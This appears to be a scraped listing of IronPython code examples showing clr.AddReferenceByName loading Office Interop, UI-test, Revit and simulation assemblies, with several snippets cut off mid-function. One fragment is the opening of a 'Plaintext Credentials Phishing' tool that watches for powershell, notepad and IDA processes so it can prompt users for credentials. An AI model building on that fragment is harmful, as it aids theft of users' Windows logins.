def TryLoadWordInteropAssembly():
    try:
        clr.AddReferenceByName('Microsoft.Office.Interop.Word, Version=12.0.0.0, Culture=neutral, PublicKeyToken=71e9bce111e9429c')
    except:
        try:
            clr.AddReferenceByName('Microsoft.Office.Interop.Word, Version=11.0.0.0, Culture=neutral, PublicKeyToken=71e9bce111e9429c')
        except:
            pass
Beispiel #2
0
def test_gac():
    import System
    def get_gac():
            process = System.Diagnostics.Process()
            process.StartInfo.FileName = System.IO.Path.Combine(System.Runtime.InteropServices.RuntimeEnvironment.GetRuntimeDirectory(), "gacutil.exe")
            process.StartInfo.Arguments = "/nologo /l"
            process.StartInfo.CreateNoWindow = True
            process.StartInfo.UseShellExecute = False
            process.StartInfo.RedirectStandardInput = True
            process.StartInfo.RedirectStandardOutput = True
            process.StartInfo.RedirectStandardError = True
            try:
                process.Start()
            except WindowsError:
                return []
            result = process.StandardOutput.ReadToEnd()
            process.StandardError.ReadToEnd()
            process.WaitForExit()
            if process.ExitCode == 0:
                try:
                    divByNewline = result.split(newline + '  ')[1:]
                    divByNewline[-1] = divByNewline[-1].split(newline + newline)[0]
                    return divByNewline
                except Exception:
                    return []
            return []

    gaclist = get_gac()
    if (len(gaclist) > 0):
        clr.AddReferenceByName(gaclist[-1])
Beispiel #3
0
 def __init__(self):
     import clr
     clr.AddReferenceByName(
         "Microsoft.Office.Interop.Excel, Version=15.0.0.0, Culture=neutral, PublicKeyToken=71e9bce111e9429c, processorArchitecture=MSIL"
     )
     from Microsoft.Office.Interop import Excel
     self.Excel = Excel
     self.excel = None
        def __init__(self):
            project_dir = os.path.dirname(os.path.abspath(__file__))
            sys.path.append(os.path.join(project_dir, "TestStack.White.0.13.3\\lib\\net40\\"))
            sys.path.append(os.path.join(project_dir, "Castle.Core.3.1.0\\lib\\net40-client\\"))
            clr.AddReferenceByName("TestStack.White")

            from TestStack.White import Application
            from TestStack.White.InputDevices import Keyboard
            from TestStack.White.WindowsAPI import KeyboardInput
            from TestStack.White.UIItems.Finders import *
            self.Application = Application
            self.Keyboard = Keyboard
            self.KeyboardInput = KeyboardInput
            self.SearchCriteria = SearchCriteria
Beispiel #5
0
    def test_gac(self):
        import clr
        import System
        if is_netstandard:
            clr.AddReference("System.Diagnostics.Process")

        def get_gac():
            process = System.Diagnostics.Process()
            if is_osx:
                process.StartInfo.FileName = "/Library/Frameworks/Mono.framework/Versions/Current/Commands/gacutil"
            elif is_posix:
                process.StartInfo.FileName = "/usr/bin/gacutil"
            else:
                process.StartInfo.FileName = System.IO.Path.Combine(
                    System.Runtime.InteropServices.RuntimeEnvironment.
                    GetRuntimeDirectory(), "gacutil.exe")
            process.StartInfo.Arguments = "/nologo /l"
            process.StartInfo.CreateNoWindow = True
            process.StartInfo.UseShellExecute = False
            process.StartInfo.RedirectStandardInput = True
            process.StartInfo.RedirectStandardOutput = True
            process.StartInfo.RedirectStandardError = True
            try:
                process.Start()
            except WindowsError:
                return []
            result = process.StandardOutput.ReadToEnd()
            process.StandardError.ReadToEnd()
            process.WaitForExit()
            if process.ExitCode == 0:
                try:
                    divByNewline = result.split(newline + '  ')[1:]
                    divByNewline[-1] = divByNewline[-1].split(newline +
                                                              newline)[0]
                    return divByNewline
                except Exception:
                    return []
            return []

        gaclist = get_gac()
        if (len(gaclist) > 0):
            clr.AddReferenceByName(gaclist[-1])
Beispiel #6
0
def _setup():
    lazy_dependencies = [
        [
            0,
            "MonoMod.Utils, Version=19.7.4.3, Culture=neutral, PublicKeyToken=null"
        ],
        [
            0,
            "Mono.Cecil, Version=0.10.4.0, Culture=neutral, PublicKeyToken=50cebf1cceb9d05e"
        ],
        [
            1,
            "IronPython, Version=2.7.7.0, Culture=neutral, PublicKeyToken=7f709c5b713576e1"
        ],
        [1, "0Harmony, Version=1.2.0.1, Culture=neutral, PublicKeyToken=null"],
    ]
    for state, qname in lazy_dependencies:
        if state <= 0:
            clr.LoadAssemblyByName(qname)
        if state <= 1:
            clr.AddReferenceByName(qname)
import clr
import sys
import os.path
project_dir = os.path.dirname(os.path.abspath(__file__))
sys.path.append(os.path.join(project_dir, "TestStack.White.0.13.3\\lib\\net40\\"))
sys.path.append(os.path.join(project_dir, "Castle.Core.3.3.0\\lib\\net40-client\\"))
clr.AddReferenceByName('Microsoft.Office.Interop.Excel, Version=15.0.0.0, Culture=neutral, PublicKeyToken=71e9bce111e9429c')
clr.AddReferenceByName("TestStack.White")
clr.AddReferenceByName("UIAutomationTypes, Version=3.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35")

from TestStack.White import Application
from TestStack.White.UIItems.Finders import *
from System.Windows.Automation import *
from Microsoft.Office.Interop import Excel
import pytest
from models.group import Group

fixture = None
test_data = ["group1", "group2", "group3"]

@pytest.fixture(scope = "session")
def app(request):
    global fixture
    app_path = request.config.getoption("--path")
    fixture = launch_application(app_path)
    request.addfinalizer(close_application)
    return fixture

def pytest_generate_tests(metafunc):
    for fixture in metafunc.fixturenames:
        if fixture.startswith("xlsx_"):
Beispiel #8
0
import clr

SYSTEM_REFERENCES = [
    "mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
    "System, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
    "System.Data, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
    "System.Drawing, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",
    "System.Security, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",
    "System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
    "System.Xml, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
]

CUSTOM_REFERENCES = [
    "Syncfusion.Xlsio.Base",
]

for reference in SYSTEM_REFERENCES:
    clr.AddReferenceByName(reference)

from System.Diagnostics import Process
from System.IO import Path
from System.Reflection import Assembly
module = Process.GetCurrentProcess().MainModule
binDir = Path.GetDirectoryName(module.FileName)

for reference in CUSTOM_REFERENCES:
    assemblyPath = "%s\\%s.dll" % (binDir, reference)
    assembly = Assembly.LoadFile(assemblyPath)
    clr.AddReference(assembly)
 def __init__(self):
     clr.AddReferenceByName("UIAutomationTypes, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35")
     from System.Windows.Automation import *
     self.ControlType = ControlType
Beispiel #10
0
import clr
import os.path
project_dir = os.path.dirname(os.path.abspath(__file__))
import sys
sys.path.append(
    os.path.join(project_dir, "..\\TestStack.White.0.13.3\\lib\\net40"))
sys.path.append(
    os.path.join(project_dir, "..\\Castle.Core.3.3.0\\lib\\net40-client"))
clr.AddReferenceByName('TestStack.White')

from TestStack.White.InputDevices import Keyboard
from TestStack.White.WindowsAPI import KeyboardInput
from TestStack.White.UIItems.Finders import *

clr.AddReferenceByName(
    'UIAutomationTypes, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35'
)
from System.Windows.Automation import *


class GroupHelper:
    def __init__(self, app):
        self.app = app

    def add_new_group(self, name):
        modal = self.open_group_editor()
        modal.Get(SearchCriteria.ByAutomationId("uxNewAddressButton")).Click()
        modal.Get(SearchCriteria.ByControlType(ControlType.Edit)).Enter(name)
        Keyboard.Instance.PressSpecialKey(KeyboardInput.SpecialKeys.RETURN)
        self.close_group_editor(modal)
import clr
import os.path
project_dir = os.path.dirname(os.path.abspath(__file__))
import sys
sys.path.append(os.path.join(project_dir, "TestStack.White.9.2.0.11\\lib\\net40"))
sys.path.append(os.path.join(project_dir, "Castle.Core.3.1.0\\lib\\net40-client"))
clr.AddReferenceByName("TestStack.White")

from TestStack.White import Application


def  test_something():
    Application.Launch("notepad.exe")
    print("ok")


Beispiel #12
0
import os
from shutil import copyfile
import Grasshopper.Kernel as ghK
import scriptcontext as sc

import clr
clr.AddReferenceByName('Microsoft.Office.Interop.Excel')
from System.Runtime.InteropServices import Marshal
from Microsoft.Office.Interop import Excel

class FileManager:
    """Methods used to create, copy and clean the PHPP files and paths """
    @staticmethod
    def clean_file_path(_input):
        """Tries to clean user-input strings into valid paths"""
        
        if not _input:
            return None
        
        input = unicode(_input).lstrip().rstrip()
        input = os.path.splitext(input)[0]
        if '\\' in input:
            filepath_items = input.split('\\')
            filepath = os.path.sep.join(filepath_items)
            filepath += '.xlsx'
            return filepath
        elif '/' in input:
            filepath_items = input.split('/')
            filepath = os.path.sep.join(filepath_items)
            filepath += '.xlsx'
            return filepath
##################################################
## IronPython Plaintext Credentials Phishing
##################################################
## Author: daddycocoaman
##################################################
import clr
clr.AddReference("System.Management")
clr.AddReference("System.DirectoryServices.AccountManagement")
clr.AddReference("System.Windows.Forms")
clr.AddReference("System.Drawing")
clr.AddReferenceByName("PresentationFramework, Version=3.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35")
clr.AddReferenceByName("PresentationCore, Version=3.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35")

import System.Windows as Windows
import System.Environment as Env
from System.Drawing import Point, Icon, Font, Color, FontStyle
from System.Windows.Forms import Form, Button, FormBorderStyle, FormStartPosition, DockStyle, TextBox, Label, Keys, KeyEventHandler, CloseReason, DialogResult
from System.Windows.Forms import MessageBox, MessageBoxButtons, MessageBoxIcon, MessageBoxDefaultButton, MessageBoxOptions, FormClosingEventHandler
from System import TimeSpan, EventHandler
from System.Diagnostics import Process
from System.DirectoryServices.AccountManagement import PrincipalContext, ContextType
from System.Management import ManagementScope, ManagementObjectSearcher, WqlObjectQuery, ManagementEventWatcher, WqlEventQuery, EventArrivedEventHandler
from System.Threading import Thread

WATCHLIST = ["powershell.exe", "notepad.exe", "ida64.exe"]
GOT_CRED = False

class credPhish():
    def __init__(self, proc):
        self.proc = proc
        self.path = self.proc["TargetInstance"]["ExecutablePath"]
Beispiel #14
0
from model.group import Group
import random
import string
import os.path
import getopt
import sys
import time
#maszyna wirtuanla .net
import clr
clr.AddReferenceByName("Microsoft.Office.Interop.Excel, Version=15.0.0.0, Culture=neutral,"
                       " PublicKeyToken=71e9bce111e9429c, processorArchitecture=MSIL")
from Microsoft.Office.Interop import Excel

try:
    opts, args = getopt.getopt(sys.argv[1:], "n:f:", ["number of groups", "file"])
except getopt.GetoptError as err:
     getopt.usage()
     sys.exit(2)

n = 5
f = "data/groups.xlsx"

for o, a in opts:
    if o == "-n":
        n = int(a)
    elif o == "-f":
        f = a

def random_string(prefix, maxlen):
    symbols = string.ascii_letters + string.digits
    return prefix + "".join([random.choice(symbols) for i in range(random.randrange(maxlen))])
Beispiel #15
0
__title__ = 'TempMute'
__author__ = 'Jakkee'
__version__ = '1.1.1'

import clr
clr.AddReferenceByName("Fougerite")
import Fougerite, System, sys, re
path = Util.GetRootFolder()
sys.path.append(path + "\\Save\\Lib\\")
try:
    import datetime
except ImportError:
    raise ImportError("Missing Extra Libs folder! {DateTime module}")
rustpp = Server.GetRustPPAPI()


class TempMute:
    def On_PluginInit(self):
        Util.ConsoleLog(
            __title__ + " by " + __author__ + " Version: " + __version__ +
            " loaded.", False)
        try:
            count = 0
            for id in DataStore.Keys("TempMute"):
                tick = int(DataStore.Get("TempMute", id).split(",")[0])
                mutetime = int(DataStore.Get("TempMute", id).split(",")[1])
                calc = System.Environment.TickCount - tick
                if calc >= mutetime:
                    rustpp.UnMute(long(id))
                    DataStore.Remove("TempMute", Player.SteamID)
                    count += 1
Beispiel #16
0
import clr
clr.AddReferenceByName("UtilityExtensions")
from IronPythonUtilities import ConfigurationProxy


def override(filename):
    proxy = ConfigurationProxy(filename)
    return proxy.InjectToConfigurationManager()
Beispiel #17
0
from model.group import Group
import random
import string
import os.path
import getopt
import sys
import time

import clr

clr.AddReferenceByName('')
from Microsoft.Office.Interop import Excel

try:
    opts, args = getopt.getopt(sys.argv[1:], "n:f:",
                               ["number of groups", "file"])
except getopt.GetoptError as err:
    getopt.usage()
    sys.exit(2)

n = 5
f = "data/groups.xlsx"

for o, a in opts:
    if o == "-n":
        n = int(a)
    elif o == "-f":
        f = a


def random_string(prefix, maxlen):
Beispiel #18
0
import System
import System.Text
from System import *
from System.Text import *

import clr
clr.AddReferenceByName("CmsData")
from CmsData import QueryFunctions



class VitalStats(object):
    def Run(self, m):
        days = 7
        #fmt = '<tr><td align="right">{0}:</td><td align="right">{1:n0}</td></tr>\r\n'
        #fmt0 = '<tr><td colspan="2">{0}\r\n'
        fmt = '{0,28}:{1,10:n0}\r\n'
        fmt0 = '{0}\r\n'
        sb = StringBuilder()

        sb.AppendLine('<table cellspacing="5" class="grid">')
        sb.AppendFormat(fmt0, String.Format("Counts for past {0} days", days))
        sb.AppendFormat(fmt, "Members", m.QueryCount("Stats:Members"))
        sb.AppendFormat(fmt, "Decisions", m.QueryCount("Stats:Decisions"))
        sb.AppendFormat(fmt, "Meetings", m.MeetingCount(days, 0, 0, 0))
        sb.AppendFormat(fmt, "Sum of Present in Meetings", m.NumPresent(days, 0, 0, 0))
        sb.AppendFormat(fmt, "Unique Attends", m.QueryCount("Stats:Attends"))
        sb.AppendFormat(fmt, "New Attends", m.QueryCount("Stats:New Attends"))
        sb.AppendFormat(fmt, "Contacts", m.QueryCount("Stats:Contacts"))
        sb.AppendFormat(fmt, "Registrations", m.RegistrationCount(days, 0, 0, 0))
        sb.AppendFormat(fmt0, "Contributions")
Beispiel #19
0
from pyrevit import HOST_APP, PyRevitException, EXEC_PARAMS
from pyrevit.coreutils.logger import get_logger

# noinspection PyUnresolvedReferences
import System
# noinspection PyUnresolvedReferences
from System import DateTime, DateTimeOffset

GIT_LIB = 'LibGit2Sharp'

if not EXEC_PARAMS.doc_mode:
    # todo: figure out how to import extensions on the caller's scope.
    clr.AddReference("System.Core")
    clr.ImportExtensions(System.Linq)
    clr.AddReferenceByName(GIT_LIB)

logger = get_logger(__name__)

if not EXEC_PARAMS.doc_mode:
    # public libgit module
    libgit = importlib.import_module(GIT_LIB)


class PyRevitGitAuthenticationError(PyRevitException):
    pass


class RepoInfo:
    """
    Generic repo wrapper for passing repository information to other modules
Beispiel #20
0
import sys
import clr
import System.Collections.Generic
import System
clr.AddReference('System.Core')
clr.AddReference('IronPython')
clr.AddReference('System.Xml')
clr.AddReferenceByName('Utilities')
clr.AddReferenceByName('HSFUniverse')
clr.AddReferenceByName('UserModel')
clr.AddReferenceByName('MissionElements')
clr.AddReferenceByName('HSFSystem')
#clr.AddReferenceByName('SystemState')
import System.Xml
import HSFSystem
import HSFSubsystem
import MissionElements
import Utilities
import HSFUniverse
import UserModel
# from MissionElements import SystemState
from HSFSystem import *
from System.Xml import XmlNode
from Utilities import *
from HSFUniverse import *
from UserModel import *
from MissionElements import *
from System import Func, Delegate, Math
from System.Collections.Generic import Dictionary, KeyValuePair
from IronPython.Compiler import CallTarget0
Beispiel #21
0
import sys
import clr
import System.Collections.Generic
import System
clr.AddReference('System.Core')
clr.AddReference('IronPython')
clr.AddReference('System.Xml')
clr.AddReferenceByName('Utilities')

import Utilities
from Utilities import *
from System.Collections.Generic import Dictionary
from IronPython.Compiler import CallTarget0

class eom(Utilities.OrbitalEOMS):
    def __init__(self):
        pass
    def PythonAccessor(self, t, y):
        r3 = System.Math.Pow(Matrix[System.Double].Norm(y[MatrixIndex(1, 3), 1]), 3)
        mur3 = -self._mu / r3
        self._A[4, 1] = mur3
        self._A[5, 2] = mur3
        self._A[6, 3] = mur3
        dy = Matrix[System.Double]()
        dy = self._A * y
        return dy
from fixture.group import GroupHelper

import os.path
import clr
project_dir = os.path.dirname(os.path.abspath(__file__))
import sys
sys.path.append(
    os.path.join(project_dir, "..", "TestStack.White.0.13.3\\lib\\net40\\"))
sys.path.append(
    os.path.join(project_dir, "..", "Castle.Core.3.3.0\\lib\\net40-client\\"))
clr.AddReferenceByName('TestStack.White')
from TestStack.White import Application
from TestStack.White.UIItems.Finders import *


class Applications:
    def __init__(self, base_address):
        self.group = GroupHelper(self)
        application = Application.Launch(base_address)
        self.main_window = application.GetWindow("Free Address Book")

    def destroy(self):
        self.main_window.Get(
            SearchCriteria.ByAutomationId("uxExitAddressButton")).Click()
Beispiel #23
0
import sys
import clr
import System.Collections.Generic
import System
clr.AddReference('System.Core')
clr.AddReference('IronPython')
clr.AddReference('System.Xml')
clr.AddReferenceByName('Utilities')
clr.AddReferenceByName('HSFUniverse')

import Utilities
import HSFUniverse
from Utilities import *
from HSFUniverse import *
from System.Collections.Generic import Dictionary
from IronPython.Compiler import CallTarget0


class eomRocket(Utilities.EOMS):
    def __init__(self):
        self.atmos = RealTimeAtmosphere()
        self.atmos.filePath = "C:\\Horizon\\gfs.t06z.pgrb2.0p50.f006.grb2"
        self.atmos.CreateAtmosphere()

    def PythonAccessor(self, t, y):
        _mu = 398600
        r3 = System.Math.Pow(
            Matrix[System.Double].Norm(y[MatrixIndex(1, 3), 1]), 3)
        mur3 = -_mu / r3
        _A = Matrix[System.Double](6)
        temp = self.atmos.pressure(200)
#import clr
from Autodesk.Revit import DB
import sys, os
import traceback
#import pyrevit
from pyrevit import (forms, revit)
from pyrevit.forms import TemplateListItem  #BaseCheckBoxItem
from pyrevit import script

import io
import glob  #
import csv
import clr
clr.AddReferenceByName(
    'Microsoft.Office.Interop.Excel, Version=11.0.0.0, Culture=neutral, PublicKeyToken=71e9bce111e9429c'
)
from Microsoft.Office.Interop import Excel
from System import Array
import pyrevit
import System
import System.Collections.Generic
import System.Threading.Tasks
import System.Runtime.InteropServices

from System.Runtime.InteropServices import Marshal
import System.Runtime.InteropServices

#output window: see pyrevit doc, Anatomy of a pyrevit_script
output = script.get_output()
# output.set_height(400)
Beispiel #25
0
import sys
import clr
import System.Collections.Generic
import System
clr.AddReference('System.Core')
clr.AddReference('IronPython')
clr.AddReference('System.Xml')
clr.AddReferenceByName('HSFScheduler')
clr.AddReferenceByName('MissionElements')
clr.AddReferenceByName('HSFSystem')

import System.Xml
import HSFSystem
import MissionElements
import HSFScheduler
from HSFSystem import *
from System.Xml import XmlNode
from MissionElements import *
from HSFScheduler import *
from System.Collections.Generic import Dictionary
from IronPython.Compiler import CallTarget0

class eval(HSFScheduler.TargetValueEvaluator):
    def __init__(self, deps):
        pass
    def Evaluate(self, sched):
        sum = 0
        for eit in sched.AllStates.Events:
            for assetTask in eit.Tasks:
                task = assetTask.Value
                sum += task.Target.Value